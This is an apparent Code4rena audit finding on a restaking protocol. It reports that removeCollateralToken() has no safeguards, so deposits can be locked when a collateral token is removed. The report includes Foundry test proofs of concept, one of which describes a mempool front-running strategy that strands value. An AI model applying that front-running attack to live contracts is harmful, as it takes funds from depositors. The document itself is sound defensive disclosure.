Platform: Code4rena
Start Date: 30/04/2024
Pot Size: $112,500 USDC
Total HM: 22
Participants: 122
Period: 8 days
Judge: alcueca
Total Solo HM: 1
Id: 372
League: ETH
Rank: 50/122
Findings: 1
Award: $18.20
🌟 Selected for report: 0
🚀 Solo Findings: 0
18.1958 USDC - $18.20
Due to absence of safety mechanisms, removal of collateral tokens can lead to loss of TVL, which will be locked in removed tokens. This can happen both unintentionally, as well as from front-running attacks being timed with the removal transaction.
Function RestakeManager::removeCollateralToken() doesn't have any checks if the removed collateral token holds protocol's TVL. We assume that when a collateral token is about to be removed, users will be warned not to deposit it. Admins may also try to time removal in such way that the removed token won't hold a lot of value. But such measures are obviously not enough, as any on-chain protection mechanisms are missing.
This may lead to at least two ways how TVL may be locked/lost in removed tokens:
Additionally, when a collateral token is removed, TVL experiences a sudden drop, which most probably can be gamed to execute other attacks on the protocol.
Download this rudimentary test suite, and place all files into the test
folder. Execute with forge test --match-test RemoveCollateral
The following test demonstrates how TVL may be lost unintentionally:
function test_TVL_Loss_On_RemoveCollateral() public { // Normal deposits (e.g. alice deposits token1) vm.startPrank(alice); token1.approve(address(restakeManager), 1000 * 10**18); restakeManager.deposit(token1, 1000 * 10**18); (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs(); assertEq(totalTVL, 1000 * 10**18); // Restake manager decides to remove token2 as a collateral // and submits removeCollateralToken transaction // In parallel, unsuspecting bob decides to deposit token2 vm.startPrank(bob); token2.approve(address(restakeManager), 1000 * 10**18); restakeManager.deposit(token2, 1000 * 10**18); (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs(); assertEq(totalTVL, 2000 * 10**18); // Manager's transaction gets executed vm.startPrank(address(this)); restakeManager.removeCollateralToken(token2); // All value locked in token2 is lost for the protocol (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs(); assertEq(totalTVL, 1000 * 10**18); }
This test demonstrates how an attacker can lock TVL in the removed token:
function test_Frontrun_RemoveCollateral() public { // Normal deposits (e.g. alice deposits token1) vm.startPrank(alice); token1.approve(address(restakeManager), 1000 * 10**18); restakeManager.deposit(token1, 1000 * 10**18); (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs(); assertEq(totalTVL, 1000 * 10**18); // Restake manager decides to remove token2 as a collateral // and submits removeCollateralToken transaction // Bob is adversarial: he notices removeCollateralToken transaction in the mempool, // and frontruns it, by depositing token2, and withdrawing token1 vm.startPrank(bob); token2.approve(address(restakeManager), 1000 * 10**18); restakeManager.deposit(token2, 1000 * 10**18); ezETH.approve(address(withdrawQueue), 1000 * 10**18); withdrawQueue.withdraw(1000 * 10**18, address(token1)); (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs(); assertEq(totalTVL, 2000 * 10**18); // Manager's transaction gets executed vm.startPrank(address(this)); restakeManager.removeCollateralToken(token2); // All value locked in token2 is lost for the protocol (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs(); assertEq(totalTVL, 1000 * 10**18); // Cooldown period passes vm.warp(block.timestamp + COOLDOWN_PERIOD); // Bob is able to retrieve his value in token1 vm.startPrank(bob); withdrawQueue.claim(0); // The protocol and its users are left empty-handed (operatorTokenTVLs, operatorTVLs, totalTVL) = restakeManager.calculateTVLs(); assertEq(totalTVL, 0); }
Manual audit; Foundry
We recommend to split collateral token removal operation into three phases:
Other
#0 - c4-judge
2024-05-17T14:02:15Z
alcueca marked the issue as not a duplicate
#1 - c4-judge
2024-05-17T14:02:25Z
alcueca marked the issue as duplicate of #464
#2 - c4-judge
2024-05-17T14:04:07Z
alcueca marked the issue as duplicate of #97
#3 - c4-judge
2024-05-17T14:05:46Z
alcueca marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-20T04:34:14Z
alcueca changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-05-20T04:41:23Z
alcueca marked the issue as satisfactory